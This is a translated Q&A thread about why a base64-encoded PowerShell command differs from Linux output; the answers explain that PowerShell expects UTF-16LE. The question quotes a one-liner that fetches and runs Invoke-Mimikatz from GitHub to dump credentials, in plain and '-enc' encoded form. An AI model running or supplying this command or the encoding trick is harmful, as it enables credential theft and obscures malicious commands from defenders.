代码之家  ›  专栏  ›  技术社区  ›  user134167

需要Powershell base64编码

  •  1
  • user134167  · 技术社区  · 6 年前

    https://gist.github.com/gfoss/ca6aa37f97fd400ff14f . 运行mimikatz one:

    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); $m = Invoke-Mimikatz -DumpCreds; $m
    

    如果我在powershell提示符下直接运行它,它将正常工作。通过检查base64编码版本,我发现它也可以正常工作:

    powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==
    

    然而,我不确定这个字符串是如何编码的。如果我尝试在Linux中对它进行编码,我会得到一个不同的字符串(我只是更改了引号以防止bash解释$):

    echo -e 'IEX (New-Object Net.WebClient).DownloadString("https://raw.githubusercontent.com/PowerShellMafia/Powe
    rSploit/master/Exfiltration/Invoke-Mimikatz.ps1"); $m = Invoke-Mimikatz -DumpCreds; $m' | openssl enc -base64 -A
    
    SUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCJodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20vUG93ZXJTaGVsbE1hZmlhL1Bvd2VyU3Bsb2l0L21hc3Rlci9FeGZpbHRyYXRpb24vSW52b2tlLU1pbWlrYXR6LnBzMSIpOyAkbSA9IEludm9rZS1NaW1pa2F0eiAtRHVtcENyZWRzOyAkbQo=
    

    我应该使用什么编码使字符串与powershell完全兼容?

    2 回复  |  直到 6 年前
        1
  •  3
  •   Mathias R. Jessen    6 年前

    PowerShell希望base64字符串为 Unicode 编码-和 统一码 Windows是little endian UTF-16的行话。

    你可以用 iconv 皈依 UTF-16LE 如果需要在不访问.NET的情况下从linux shell对PowerShell命令进行编码:

    iconv -f ASCII -t UTF-16LE filename.txt |base64 -w 0
    
        2
  •  2
  •   4c74356b41    6 年前

    使用powershell示例中的一个?

    [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("command_goes_here"))